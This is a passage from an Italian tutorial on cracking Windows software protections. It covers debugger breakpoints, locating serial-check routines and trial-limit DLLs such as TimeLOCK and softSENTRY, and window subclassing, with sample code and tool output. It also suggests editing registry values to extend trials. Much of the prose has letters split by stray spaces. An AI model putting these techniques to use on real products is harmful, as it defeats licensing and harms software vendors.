I n Vi sual Basi c pot r emmo cer car e di i nt er cet t ar e f unzi oni come HMEMCPY.
Per pot er ut i l i zzar e un br eakpoi nt basat o su quest o messaggi o dovr emo abi l i t ar l o
e di sabi l i t ar l o pi vol t e i n par t i col ar e modo se ut i l i zzi amo Sof t I ce.
HMEMCPY pr obabi l ment e vi ene ut i l i zzat o i n al t r e f unzi onal i t del pr ogr amma e non
sol o i n cor r i spondenza del l a l et t ur a del codi ce.
Quest o si gni f i cher ebbe, a br eakpoi nt at t i vat o, che l a f i nest r a di Sof t I ce
cont i nuer ebbe a compar i r e anche i n punt i da noi non r i chi est i .
Vi r i cor do che Sof t I ce pu esser e at t i vat o anche manual ment e i n qual si asi
moment o pr emendo CTRL- D o i t ast i set t at i .
I n al cuni casi possi bi l e ut i l i zzar e gl i i dent i f i cat or i di pr ocesso, gl i handl e
del l e Wi ndows ecc. come sel et t or i da ut i l i zzar e come f i l t r i per i var i
br eakpoi nt .
Per spi egar mi megl i o vogl i o r i cor dar e che Sof t I ce most r a i l codi ce e segue t ut t i
i pr ocessi at t i vi per cui af f i dandosi per l at t i vazi one al l a pr essi one del CTRL-
D possi bi l e vi sual i zzar e l a f i nest r a del codi ce ment r e quest o r el at i vo a
qual si asi pr ocesso at t i vo.
Met t endo un br eakpoi nt su un messaggi o gener i co, WM_I NI TDI ALOG ad esempi o,
i nt er r omper emmo l esecuzi one t ut t e l e vol t e che quest o t i po di messaggi o
capi t er ebbe e non sol o r el at i vo al l a f i nest r a o al pr ocesso da noi vol ut o.
Medi ant e i comandi di vi sual i zzazi one i nf or mazi oni possi amo r i cever e l e
i nf or mazi oni da i nser i r e come f i l t r i .
I nvece di i mmet t er e un comando di br eakpoi nt gener i co :

bmsg WM_INITDIALOG

pot r emmo st abi l i r e che i l messaggi o deve esser e r el at i vo al l a f i nest r a xxx.

Bmsg 0FC4 WM_INITDIALOG

I n Wi ndows 2000 esi st e l a possi bi l i t gi da si st ema di r i cever e cer t e
i nf or mazi oni r el at i ve ai pr ocessI D.
Di cevo i ni zi al ment e che al cuni
sof t war e pr of essi onal i per l a
cr eazi one di demo i nser i scono l e
l or o r out i nes dent r o a DLL est er ne
al pr ogr amma.
Pot r ebbe anche esser e che i n pr i ma
i st anza non vengono i ndi cat i gl i usi
di cer t e f unzi oni sempl i cement e
per ch quest e non sono dent r o al
pr ogr amma car i cat o con i l debugger .
Se l e DLL vengono col l egat e al
pr ogr amma pr i nci pal e t r ami t e una
l i br er i a l i nkat a i n f ase di l i nki ng
al l or a pot r ebbe ver i f i car si che i l
debugger anal i zzando l e f unzi oni
i mpor t at e vedano anche quel l e l egat e
al l e DLL del pr ogr amma.
Se l a DLL vi ene car i cat a
di nami cament e con LoadLi br ar y o
f unzi oni si mi l i i l pr ogr amma
pot r ebbe non saper e di aver e DLL
col l egat e f i no al moment o
del l at t i vazi one del l i st r uzi one di l et t ur a di nami ca del l a DLL.
I n quest o caso bi sogna i nt er veni r e eseguendo una passat a di nami ca ovver o una
f ase i n cui si cer ca con ogni mezzo di saper e qual i dl l usa i l nost r o pr ogr amma.
Se i l pacchet t o sof t war e al moment o del l i nst al l azi one met t e nel l a di r ect or y del
pr ogr amma del l e DLL f aci l e suppor r e che quest e si ano usat e.
Le DLL pot r ebber o esser e i nser i t e dal sof t war e d i nst al l dent r o a
\ wi ndows\ syst emper cui pot r emmo veder e i l l or o car i cament o sol o i n modo
di nami co.
Esi st ono pr ogr ammi , ne abbi amo nomi nat o qual cuno nel l apposi t o capi t ol o l egat o
ai sof t war es, che avvi sano quando vi ene car i cat o un pr ogr amma o una dl l .
I ndi vi duat e qual i DLL vengono car i cat e bi sogna andar e a veder e qual i f unzi oni
i ncl udono per cer car e di capi r e se esi st e qual che nome sospet t o ( anche se
di f f i ci l e) .
Di cevo i ni zi al ment e che quasi t ut t i gl i esempi pr esent i i n I nt er net sono
r el at i vi a pr ogr ammi l e cui r out i nes di i nser i ment o dei codi ci sono f aci l ment e
i ndi vi duabi l i gr azi e al l a r i cer ca del l a f at i di ca Get Dl gI t emText .
Quando anni f , 1986, scr i ssi i l mi o pr i mo vol ume sul l a pr ogr ammazi one a basso
l i vel l o i n C t r at t ai l e t ecni che i n cui si sal vavano gl i i ndi r i zzi di cer t i
i nt er r upt s e si sost i t ui vano con nost r e f unzi oni .
I l di scor so del met odo di l et t ur a del l e f unzi oni l egat e al l a gest i one del
di most r at i vo pu avveni r e t r ami t e met odi l et t i di nami cament e t r ami t e
LoadLi br ar y.
Una del l e pr ot ezi oni mi gl i or i chi amat a SENTRY32.
I l seguent e spezzone di codi ce t est a l e dl l di Sent r y32.

// the following block is for testing running an external dll file
// !!sample program!! testing softSENTRY dll
#include "stdafx.h"
#include "windows.h"

typedef DWORD (CALLBACK *DWLPSSD)();

#define UserDef_ReturnValue 12345 /* user can
change here for selfdefined return value */
#ifdef _WIN32
char *userDef_DllNamePtr = "c:\\trash1\\ssDll32.dll"; /* user can change here for
selfdefined DLL name */
#else
char *userDef_DllNamePtr = "c:\\trash1\\ssDll16.dll"; /* user can change here for
selfdefined DLL name */
#endif
void TestDllGeneratedBYsoftSENTRY()
{
CString mcMsg;
DWORD retCode = 0l;
char retString[64]; /* for testing, display retCode */
HINSTANCE hDll = NULL;
DWLPSSD lpSSDllProc = NULL;
CWinApp* pApp = NULL;
hDll = LoadLibrary(userDef_DllNamePtr);
if (hDll) {
lpSSDllProc = (DWLPSSD)GetProcAddress(hDll, "softSENTRY");
} else {
AfxMessageBox("LoadLibrary Fail!");
return;
}
if (!lpSSDllProc) {
AfxMessageBox("GetProcAddress Fail");
FreeLibrary (hDll);
return;
}
retCode = (*lpSSDllProc)();
if (hDll) FreeLibrary (hDll);
_ltoa(retCode, retString, 10);
if (retCode == UserDef_ReturnValue) {


Pr opr i o i n r el azi one al f at t o che spesso i
modul i di pr ot ezi one vengono i nser i t e dent r o al
codi ce di DLL est er ne, l egget e quel l o che nel l e
spi egazi oni di Sent r y vi ene det t o :

As an al t er nat i ve t o i nj ect i ng pr ot ect i on i nt o
your execut abl e f i l e, you can cr eat e a DLL
( Dynami c Li nk Li br ar y) wi t h sof t SENTRY. You wi l l
need t o add code t o your pr ogr amt o cal l t he DLL
and eval uat e t he r et ur n val ue t hat i t sends.


mcMsg = "OK for Trial mode! Return value = ";
mcMsg += retString;
} else if (retCode > UserDef_ReturnValue && retCode <= UserDef_ReturnValue
+10) {
mcMsg = "OK for Password#";
_ltoa(retCode-UserDef_ReturnValue, retString, 10);
mcMsg += retString;
mcMsg += "! Return value = ";
_ltoa(retCode, retString, 10);
mcMsg += retString;
} else {
mcMsg = "Fail! Return value = ";
mcMsg += retString;
}

AfxMessageBox(mcMsg); /* display retCode */

return;
}
// !!sample program!! testing softSENTRY dll

Sot t o Wi ndows esi st ono del l e t ecni che che vengono def i ni t e di subcl assi ng i n cui
cer t i messaggi o cer t e f unzi oni vengono sost i t ui t e con nost r e f unzi oni .
Si a nel caso degl i i nt er r upt s che i n quest o caso pr i ma di esegui r e l e
sost i t uzi oni veni vano sal vat i gl i i ndi r i zzi dei vecchi i nt er r upt s o f unzi oni i n
modo t al e che dopo aver i nt er cet t at o i nuovi ed aver cont r ol l at o se er ano
r el at i vi a casi a noi i deal i avr ebber o pot ut o esser e chi amat e i vecchi ser vi zi .
L al gor i t mo pr endeva l a f or ma di :

indirizzo_globale_vecchio_indirizzo;

nuova_funzione_xxx
controlla_se_la_condizione_...
se_si_esegui_fino_a_fine
....
....
fine
chiama_vecchio_indirizzo
fine_nuova_funzione_xxx

salva_in_vecchio_indirizzo_xxx
inserisci_indirizzo_nuova_funzione_in_xxx


EVENTO CHE FA ESEGUIRE LINDIRIZZO xxxx

Per nasconder e l e f unzi oni di l et t ur a dei campi r el at i vi ai codi ci sar ebbe
possi bi l e i nt er cet t ar e ogni si ngol o messaggi o che i ndi ca che st at o pr emut o un
t ast o.
I n pr at i ca i nvece di f ar e :

String buffer_codice[20];

buffer_codice = LeggiCaratteriInCampoEdit();

si potrebbe :

String buffer_codice[20];
Int lunghezza = 0;

void funzione_intercetta_carattere()
begin
Char c;
c = CaratterePremuto();
se c == INVIO
begin
buffer_codice[lunghezza] = 0;
else
buffer_codice[lunghezza] = c;
++lunghezza;
end
end


SettaFunzioneIntercettaCaratteri(funzione_interceta_carattere);

I n quest o modo ogni vol t a che l ut ent e pr eme un t ast o vi ene chi amat a l a f unzi one
che l o i nser i sce dent r o al buf f er .
Cont r ol l ando se i l car at t er e 0 si
capi sce se l ut ent e ha f i ni t o
l i nser i ment o a segui t o di un
I NVI O.
I n quest o caso l i nt er cet t azi one
non deve avveni r e a segui t o di
Get Dl gI t emText ecc.
Per pr i ma cosa possi amo usar e Spy++
cer cando di capi r e qual i messaggi
vengono gener at i r el at i vi al campo
d edi t che ci i nt er essa.
Spy++ possi ede un cur sor e che pr eso
con i l mouse e posi zi onat o sul l a
f i nest r a che ci i nt er essa f a i n
modo che i messaggi vi sual i zzat i
si ano f i l t r at i e r el at i vi a quel l a
f i nest r a.
Tenet e sempr e pr esent e che Wi ndows
un si st ema mul t i t aski ng per cui
cer t e pr ocedur e pot r ebber o esser e
i nser i t e come f unzi oni asi ncr one
l egat e a cer t i event i .
Ri cor di amoci che esi st e anche l a
possi bi l i t di cr ear e un cer t o
numer o di TI MER l e cui pr ocedur e di gest i one pot r ebber o esser e adi bi t e a cer t i
scopi .
I n quest o modo pot r emmo r i assumer e l a sequenza del l e cose da capi r e.

INDIVIDUAZIONE LINGUAGGIO

LOCALIZZAZIONE DELLE FUNZIONI

MODALITA DI ESECUZIONE

Per l a pr i ma e seconda voce possi amo suppor r e che si ano dent r o al pr ogr amma
pr i nci pal e o dent r o a qual che DLL.
WDASM, l o r i cor do, possi ede un f l ag che at t i va un br eakpoi nt quando i l pr ogr amma
abbandona i l modul o
pr i nci pal e e cont i nua
l esecuzi one dent r o a una
DLL.
I nol t r e WDASM ci avvi sa
di nami cament e i n qual e DLL
si amo posi zi onat i .
Pot et e osser var e i mar cat or i
DLL Load Br k ( BEAKPOI NT on
DLL LOAD) o addi r i t t ur a
quando l a DLL vi ene
scar i cat a.
I br eakpoi nt s possono esser e
at t i vat i anche sul l a cr eazi one di un t hr ead.
Un al t r o met odo per capi r e se pot r ebbe esser ci l i mpl i cazi one di una DLL nel l e
f unzi oni di l et t ur a dei codi ci pot r ebbe esser e, i n modo sempl i ci st i co, quel l o di
veder e se dur ant e l a sost a sul l a di al og di i nser i ment o ci sono DLL l et t e
r el at i ve a quel pr ocesso.
La seguent e mascher a most r a l a f i nest r a di aper t ur a di un pr ogr amma, che i n
quest o caso i ndi ca che i l sof t war e scadut o, ma che al l o st esso t empo, l a
t i pol ogi a del messaggi o ovver o come i l
messaggi o vi ene most r at o i ndi ca l a
mar ca del sof t war e di gest i one demo.
Quest o t i po di sof t war e vi ene
decodi f i cat o da Pr ocDump i l qual e, ol t r e
ad esegui r e l a decodi f i ca, vi sual i zza
anche l e dl l l egat e ai modul i l et t i .
Quando vi ene r i chi est a l at t i vazi one di
un pr ogr amma i l qual e dopo pochi i st ant i
most r a una mascher a che avvi sa
del l avvenut a espi r azi one del pr ogr amma
ed andando a veder qual i modul i sono
col l egat i r i sul t ano evi dent i DLL al l or a
i ni zi a a puzzar e di br uci at o.
Quest o per di r e che chi ar o che dent r o
a quel l a DLL deve esser ci qual che cosa
l egat o al cont r ol l o del t empo di
scadenza.
L i mmagi ne che segue
appunt o pr esa da
Pr ocDump.
Not at e l a DLL
t l 32i nj . dl l .
Che ci sar mai di bel l o
dent r o a quel l a DLL ?
Per f ar e veder e che a
vol t e l e pr ese per i
f ondel l i da par t e dei
cr eat or i del l e r out i ne di
gest i one demo evi dent e
guar dat e un p i
cont enut i di quest a DLL.
La pr i ma t abel l a sono i
dat i gener al i ment r e l a
seconda sono l e f unzi oni ( 2 per l a pr eci si one) .

Generatl31inj - General informationsRational\tl31inj.dll
========================================================

Last update : 30/12/97
File size : 459 264 byte(s)
Module type : WINDOWS Dynamic links library (32 bits)
FileDescription : TimeLOCK 3.1 Client
FileVersion : 3, 1, 2, 4
CompanyName : Preview Software, Inc.
LegalCopyright : Copyright 1997 Preview Software, Inc.
InternalName : TimeLOCK 3.1 Client
ProductName : TimeLOCK 3.1
ProductVersion : 3, 1, 2, 4
Module in use : 0 times

Ed or a l e due f unzi oni :

Exporttl31inj - Exported functionsRational\tl31inj.dll
======================================================

0 ?DoNotWasteTime_MrCracker@@YGHPBDPBEIPAEPAI@Z
1 ?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z

Una f unzi one che si chi ama : Pl easeTr aceI nt oMe_Mr Cr acker pr opr i o un nome una
gar anzi a ! !
Dopo aver l et t o un nome cos t i ver r ebbe quasi da pensar e che se pr ovi a f ar e i l
t r ace t i scoppi a i l comput er i n f acci a !
Sol o capendo dove vengono l et t e l e i nf or mazi oni di quant o st at o at t i vo i l
sof t war e si possono cr ear e r out i ne che f unzi oner ebber o come l e r i car i che
t el ef oni che.
Ho t r ovat o i n gi r o un cr ack r el at i vo a Zi pMagi c che ogni vol t a che l o l anci t i
met t e a 60 gi or ni i l t empo a di sposi zi one.
Mol t e vol t e si t r at t a di andar e a scr i ver e un numer o i n qual che par t e del
r egi st r o.
ScanBi n most r a anche i n r el azi one ad un pr ogr amma qual i DLL vengono chi amat e
di r et t ament e e qual i i ndi r et t ament e.

DLL used : c:\Windows\VBRUN300.DLL
==================================
Direct calls
--------------------------------------------------------------
GDI = c:\Windows\SYSTEM\GDI.EXE
KERNEL = c:\Windows\SYSTEM\KRNL386.EXE
KEYBOARD = c:\Windows\SYSTEM\KEYBOARD.DRV
USER = c:\Windows\SYSTEM\USER.EXE
WIN87EM = c:\Windows\SYSTEM\WIN87EM.DLL

Undirect calls
--------------------------------------------------------------
COMM = c:\Windows\SYSTEM\COMM.DRV
DDEML = c:\Windows\SYSTEM\DDEML.DLL
MOUSE = c:\Windows\SYSTEM\LMOUSE.DRV
SYSTEM = c:\Windows\SYSTEM\SYSTEM.DRV

La seconda voce er a r el at i va al l i dent i f i cazi one del met odo usat o per l a l et t ur a
dei codi ci .
Ho det t o pr i ma che mol t i ssi mi scr i t t i l egat i a come spr ot egger e xxxx sono
t ut t i r el at i vi a pr ogr ammi che usano Get Dl gI t emText per l a l et t ur a dei ser i al
number .
Bi sogna r i cor dar si che i l non ut i l i zzo di quest e f unzi oni non di pende sol o
deal l a f ur bi zi a del pr ogr ammat or e a non usar l e, al f i ne di non f ar e i dent i f i car e
l e f unzi oni di pr ot ezi one t ant o sempl i cement e, ma di pende anche dal l i nguaggi o
usat o per l a scr i t t ur a del pr ogr amma.
Get Dl gI t emText un API del C per cui al t r i l i nguaggi non di spongono di quest o
i dent i f i cat or e di f unzi one ( magar i hanno f unzi oni pr opr i e che eseguono scopi
ugual i o si mi l i ) .
Esi st e Vi sual Basi c, Del phi ecc.
I n quest i casi bi sogna saper e qual i sono l e f unzi oni pr opr i e del l i nguaggi o che
eseguono l a l et t ur a di dat i da un campo di edi t i nser i t o dent r o ad una di al og.
Ad esempi o pr ecedent ement e ho det t o che pot r ebbe esser e usat a f unzi one
MessageBox r el at i va al l a vi sual i zzazi one del messaggi o Codi ce er r at o per
i dent i f i car e i l punt o dove vi ene cont r ol l at o i l codi ce i nser i t o.
Se i l pr ogr amma scr i t t o i n C l a f unzi one appunt o MessageBox.
I n caso di un pr ogr amma Del phi l a f unzi one si chi ama :

ShowMessage(Const Msg: String);

Quest a i n Del phi cr ea una Di al og con i l t est o speci f i cat o come ar goment o con un
pul sant e per pr osegui r e.
Fi nest r e di di al og un po pi compl esse possono esser e cr eat e i n Del phi con :

function MessageDlg(...);

I nol t r e DELPHI possi ede del l e f unzi oni i donee al l a pr esent azone di una di al og
dest i nat a al l i nput di val or i .
Quest a f unzi one :

function InputBox(...);
function InputQuery(...);

Ri cor dat evi che comunque possono esser e al l a f i ne ut i l i zzat e l e API di Wi ndows.
I n pr at i ca pot r est e accor ger vi che un pr ogr amma scr i t t o i n Vi sual Basi c e che
qui ndi quest o pu ut i l i zzar e cer t e f unzi oni i nser i t e dent r o al l a DLL di Run Ti me
di VB.
Supponi amo che i l pr ogr amma i n quest i one usi cer t e f unzi oni di Run Ti me di VB
3. 0.
Se andi amo a veder e l e f unzi oni i mpor t at e dal modul o di VB ovver o VB400. dl l o
si mi l i a vedr emmo :

Imported functions : c:\Windows\VBRUN300.DLL
============================================
GDI 1 SETBKCOLOR
GDI 2 SETBKMODE
GDI 3 SETMAPMODE
GDI 4 SETROP2
GDI 7 SETSTRETCHBLTMODE
GDI 9 SETTEXTCOLOR
GDI 11 SETWINDOWORG
GDI 13 SETVIEWPORTORG
GDI 14 SETVIEWPORTEXT
GDI 15 OFFSETWINDOWORG
GDI 19 LINETO
GDI 20 MOVETO
GDI 21 EXCLUDECLIPRECT
GDI 22 INTERSECTCLIPRECT
GDI 23 ARC
GDI 24 ELLIPSE
GDI 26 PIE
GDI 27 RECTANGLE


Come pot et e veder e l i mmagi ne cr eat a da ScanBi n most r a che l a DLL VBRUN300 di
Vi sual Basi c 3. 0 i mpor t a da GDI l e f unzi oni Set BKCol or ecc.
Comunque i l pr obl ema di i ndi vi duar e i l met odo di l et t ur a r el at i vo
al l i ndi vi duazi one del l e f unzi oni usat e per l a l et t ur a dei codi ci oppur e
al l i dent i f i cazi one del met odo.
I n quest o caso bi sogner andar e a veder e i messaggi gest i t i vi st o che quasi
si cur ament e l e l et t ur e avver r anno da f unzi oni ut i l i zzant e come wi ndows pr ocedur e
per i campi di edi t .
Chi f a pr ogr ammazi one i n ambi ent e Wi ndows conosce i l t er mi ne del l a Wi ndows
Pr ocedur e.
I n pr at i ca quando un f i nest r a vi ene cr eat a gl i vi ene abbi nat a una f unzi one a
cui nor mal ment e vengono i ndi r i zzat i i messaggi r el at i vi a quest a.
Usando i l vecchi o e car o C nel l a Wi ndows Pr ocedur e veni va i nser i t o un CASE che
ser vi va ad i ndi vi duar e i l messaggi o.
La f unzi one di gest i one r i ceveva t r e par amet r i t r a cui l handl e del l a f i nest r a
r el at i va l a messaggi o e due par amet r i che veni vano usat i per var i scopi a
seconda del t i po di messaggi o.
WDASM per met t e di i nser i r e br eakpoi nt aut omat i ci i n r el azi one al l e chi amat e a
del l e f unzi oni .
Un pul sant e pr esent e nel l a mascher a che i ndi cava l avvenut a chi amat a a t al i
f unzi oni per met t eva di esegui r l a e di vi sual i zzar e i dat i di r i t or no.
Sof t I ce quando si r i chi ede l a vi sual i zzazi one del l e f i nest r e most r a, ol t r e
al l handl e anche l i ndi r i zzo del l a Wi ndow Pr ocedur e.
Per most r ar e pr at i cament e come avvi ene l a cr eazi one di una di al og e
l abbi nament o di una Wi ndow Pr ocedur e r i por t o l e seguent i l i nee i n C.
I n quest a f unzi one vi ene cr eat a un i st anza r el at i va al l a f unzi one che dovr
r i cever e i messaggi del l a wi ndow.

int BLD_NOMEFORClicked104DlgFuncDef(HWND hWnd,char *szDlgName)
{
DLGPROC lpProc;
int ReturnValue;
lpProc = (DLGPROC)MakeProcInstance((FARPROC)windows_procedure,hInst);
ReturnValue = DialogBox(hInst,(LPSTR)(szDlgName?szDlgName:"FORMEDIT"),
hWnd,lpProc);

// Resto del codice
}

Quel l a che segue l a ver a e pr opr i a wi ndow pr ocedur e dent r o al l a qual e gr azi e
ad un Case possi bi l e i ndi vi duar e l a t i pol ogi a dei messaggi .

BOOL BLD_CALLBACK window_procedure( HWND hDl g, UI NT message, WPARAM wPar am, LPARAM
l Par am)
{
WORD wId;

switch(message)
{
case WM_INITDIALOG:
return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
break;

case WM_COMMAND:
wId=LOWORD(wParam);
switch(wId)
{
default:
return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
break;
}
break;

default:
return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
break;
}
return TRUE;// Did process the message
}

Come pot et e veder e l a f unzi one r i ceve sempr e t r e par amet r i , quel l i di cui
abbi amo par l at o pr i ma.
WDASM quando i ndi vi dua una cal l ad una f unzi one i n gener e most r a si mbol i cament e
i par amet r i .
Guar dat e i dat i che seguono r el at i vi ad una qual si asi cal l .

API LPTSTR Arg00 = GetCommandLineA(Arg01)
API Address=0040EE5E, API Return Address=0040EE64
Arg01 = (void)

RESULT for API GetCommandLineA
Arg00 = (LPTSTR) 815fb28c -> " "
Arg01 = (void)

Ritornando al discorso relativa alla funzione per la lettura dei numeri di
serializazione possiamo dire che i caratteri possono essere anche inseriti in
modo asincrono intercettando ogni singolo messaggio di scrittura dei caratteri.
Accer t at evi che non avvenga qual che sost i t uzi one di qual che pr ocedur a l egat a a
qual che wi ndow medi ant e l e f unzi oni API Set Wi ndowLong( ) .

NewStatic = (FARPROC) MakeProcInstance((FARPROC) NewStaticProc, hInst);
OldStatic = (FARPROC) GetWindowLong(GetDlgItem(hDlg,148),GWL_WNDPROC);
SetWindowLong(GetDlgItem(hDlg,148), GWL_WNDPROC, (LONG) NewStatic);

Le pr ecedent i l i nee cr eavano un i st anza l egat a al l a nuova f unzi one di gest i one
del l a wi ndow, che i n quest o caso un campo d edi t ( Get Dl gI t em( hDl g, 148) ) , e
sal vano l a vecchi a i n modo da pot er l a r i pr i st i nar e o r i chi amar e quando l a si
vuol e.
Vol endo cr ear e una f unzi one di l et t ur a par t i col ar e l egat a ad un campo d edi t l a
si pot r ebbe abbi nar e e qui ndi f ar gl i esegui r e l a l et t ur a t r ami t e una met odol ogi a
come quel l a pr ecedent e.
Con Sof t I ce possi bi l e set t ar e br eakpoi nt gener i ci con l uni co sel et t or e basat o
sul l handl e del l a f i nest r a.
I l pr obl ema che l a wi ndow di Sof t I ce cont i nuer ebbe a compar i r e i n
cont i nuazi one r endendo i mpossi bi l e i l l avor o.
Spesso l e f unzi oni di r egi st r azi one apr ono dei f i l es nor mal i per l egger e e
scr i ver e i nf or mazi oni .
Al cune ut i l i t i es sono i n gr ado di dar e, t r a l e al t r e i nf or mazi oni , anche i l
numer o e i l nome dei f i l es aper t i i n un cer t o i st ant e.
Ri cor di amoci sempr e che i l si st ema oper at i vo gest i sce un cer t o numer o di t abel l e
con dent r o l e i nf or mazi oni di t ut t o ci che capi t a nel si st ema.
Bast a saper e dove andar l e a l egger e o al l i mi t e qual e ut i l i t y usar e.
TaskI nf o una r ecent e ut i l i t y che r i esce a f or ni r e l e i nf or mazi oni anche dei
f i l e aper t i .

TaskInfo v.1.5 for Windows 95/98
Copyright (C) 1998,1999 by Igor Arsenin. All rights reserved.
Mail: taskinfo@iarsn.com
WWW: http://www.iarsn.com/downloads


Pr i ma di t er mi nar e quest a
pr ef azi one r el at i ve al l e
scel t e bi sogna ancor a
appr of ondi r e al cuni concet t i .
I ni zi al ment e si par l ava del
r egi st r o e si di ceva che se si
r i esce ad i ndi vi duar e dove
sono memor i zzat e al cune
i nf or mazi oni si pot r ebbe
r i spar mi ar e i l l avor o per
andar e a veder e come si
ser i al i zza i l pr ogr amma.
Se, ad esempi o, ci f osse un voce di r egi st r o i n cui vi ene memor i zzat o i l numer o
di gi or ni di dur at a del pr ogr amma l o si pot r ebbe met t er e a 100. 000 r endendo
qui ndi i nut i l e l a ser i al i zzazi one.
I l r egi st r o pu esser e consi der at o un evol uzi one dei f i l e . I NI anche se di f at t o
l i nt r oduzi one di quest o concet t o non ha r eso obsol et i cer t i f i l e . i ni come ad
esempi o i l wi n. i ni .

PROTOTIPI ASSEMBLER

Se uno vol esse f ar si un i dea di come al cuni cost r ut t i del C vengono t r adot t i i
assembl er dal compi l at or e pot r ebbe cr ear e del l e mi cr o f unzi oni e f ar l e compi l ar e
con l a si nt assi che avevo r i por t at o i n uno dei capi t ol i i ni zi al i .
Ri pet o l a l i nea di comando :

cl /c /Fanome.asm nomefile.c

Per f ar e un esempi o, vol endo f ar si l i dea di come i l compi l at or e cr ea al cuni
cost r ut t i l egat i al I F possi bi l e cr ear si un pr ogr amma del t i po :

#include <string.h>

char str1[20], str2[20];

void dump_funct() {}

void funzione_if(void)
{
int a = 0;

if(a == 1) {
dump_funct();
}

if(a < 1) {
dump_funct();
} else {
dump_funct();
}

if(strcmp(str1,str2))
dump_funct();

if(!strcmp(str1,str2))
dump_funct();

if(strcmp(str1,str2))
dump_funct();
else
dump_funct();
}

Avr et e capi t o che dump_f unct ( ) ser ve sol o a f ar e una chi amat a f i t t i zi a.
La compi l azi one deve avveni r e anche con l ot t i mi zzat or e st accat o ( / Od) per ch
con un sor gent e come i l pr ecedent e vi dar ebbe l i mpr essi one di aver bl occat o i l
comput er .
I n pr at i ca non sar ebbe bl occat o ma sol o i n pausa per ch non r i usci r ebbe pi a
smet t er e di r i der e !
Ecco l a t r aduzi one del compi l at or e con t ant o di numer o di l i nea a cui si
r i f er i sce.

TITLE funzioni.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
_DATA SEGMENT
COMM _str1:BYTE:014H
COMM _str2:BYTE:014H
_DATA ENDS
PUBLIC _dump_funct
_TEXT SEGMENT
_dump_funct PROC NEAR
; File funzioni.c
; Line 5
push ebp
mov ebp, esp
pop ebp
ret 0
_dump_funct ENDP
_TEXT ENDS
PUBLIC _funzione_if
EXTRN _strcmp:NEAR
_TEXT SEGMENT
_a$ = -4
_funzione_if PROC NEAR
; Line 8
push ebp
mov ebp, esp
push ecx
; Line 9
mov DWORD PTR _a$[ebp], 0
; Line 11
cmp DWORD PTR _a$[ebp], 1
jne SHORT $L118
; Line 12
call _dump_funct
$L118:
; Line 15
cmp DWORD PTR _a$[ebp], 1
jge SHORT $L119
; Line 16
call _dump_funct
; Line 17
jmp SHORT $L120
$L119:
; Line 18
call _dump_funct
$L120:
; Line 21
push OFFSET FLAT:_str2
push OFFSET FLAT:_str1
call _strcmp
add esp, 8
test eax, eax
je SHORT $L121
; Line 22
call _dump_funct
$L121:
; Line 24
push OFFSET FLAT:_str2
push OFFSET FLAT:_str1
call _strcmp
add esp, 8
test eax, eax
jne SHORT $L122
; Line 25
call _dump_funct
$L122:
; Line 27
push OFFSET FLAT:_str2
push OFFSET FLAT:_str1
call _strcmp
add esp, 8
test eax, eax
je SHORT $L123
; Line 28
call _dump_funct
; Line 29
jmp SHORT $L124
$L123:
; Line 30
call _dump_funct
$L124:
; Line 33
mov esp, ebp
pop ebp
ret 0
_funzione_if ENDP
_TEXT ENDS
END

I l pr i mo i f cor r i pondent e a

if(a == 1) {
dump_funct();
}

Vi ene t r adot t o con

; Line 11
cmp DWORD PTR _a$[ebp], 1
jne SHORT $L118
; Line 12
call _dump_funct
$L118:

Quest o ai ut a a capi r e che quando ci si t r ova di nanzi a cost r ut t i che ut i l i zzano
ebp ed esp pr obabi l e che si r i f er i scano a var i abi l i aut omat i che gest i t e nel l o
st ack.
Esi st ono casi i n cui una pr i ma anal i si pot r ebbe i ndur r e a pensar e che f or se i l
caso di l asci ar e per der e.
Se per t r ovar e i l codi ce di un pr ogr amma per f or mat t ar e un sor gent e C pr et ende 3
set t i mane di l avor o . . .
Che cosa pot r ebbe i ndur r e a desi st er e ?
Come avevo det t o pr i ma nel l a f ase i ni zi al e bi sogner ebbe cer car e di r i cavar e pi
i nf or mazi oni possi bi l i sul t ar get .
I n quest o caso, gi sol o r i chi edendo i nf or mazi oni con Qui ckVi ewPl us, vi ene
most r at a una t abel l a di quest o t i po :

...... Qui sono state troncate ....

Export Table

Name: CCRWINN.EXE
Characteristics: 00000000
Time Date Stamp: 00000000
Version: 0.00
Base: 00000001
Number of Functions: 00000006
Number of Names: 00000006

Ordinal Entry Point Name
0002 00001074 @ExecWait@EnumWndProc$qqsp6HWND__l
0001 00009974
@TMainWindow@DDECallBack$qqsususp7HCONV__p5HSZ__t4p10HDDEDATA__ulul
0004 0007bad4 @__lockDebuggerData$qv
0005 0010429c @__unlockDebuggerData$qv
0003 000d5d88 __DebuggerHookData
0000 000d5db0 __GetExceptDLLinfo


Import Table

mP
Ordinal Function Name

616d phore error
6f40 P
6f50 P
6f6a P
6f8d P
6fa9 P
6fc5 P
6fde P
0050 oP
0050 ____________
005a
00d4
0130
006e Tue
4d00 onday
6164 y
6164 y
6265
4d00 ay
5300 ep
6365
0079 March
006c May
7541 gust
626d er
766f ember
626d er
50cc Q
0000
7494 A


mP
Ordinal Function Name

6547 tTickCount
4665 ile
736f eHandle
736c trlenA
6c47 obalSize
0000
6f6d ryStatus
0000 _lopen
416c lloc
00 GetVersion


Beh!
Gi quel l e f unzi oni t i po
@__l ockDebugger Dat a$qv mi f anno i ndugi ar e.
Poi i l macel l o sul l e f unzi oni i mpor t at e mi
f anno pensar e che ef f et t i vament e i l
l ockDebugger Dat a f acci a qual che cosa.
I nol t r e l uso di cer t i pr ogr ammi che eseguono
l a decodi f i ca si pi ant ano br ut al ment e.
I n ogni caso quando vengono segnal at i messaggi
di quest o t i po pr i ma di pi anger e pr ovat e a
segui r e una pr ocedur a come quel l a che segue.
I l pr ogr amma i n quest i one, cer cando di
car i car l o con WDASM, segnal a i l seguent e
messaggi o.
Car i cat e PROCDUMP ( guar dat e i l capi t ol o sul
sof t war e) e sel ezi onat e i l pul sant e UNPACK.
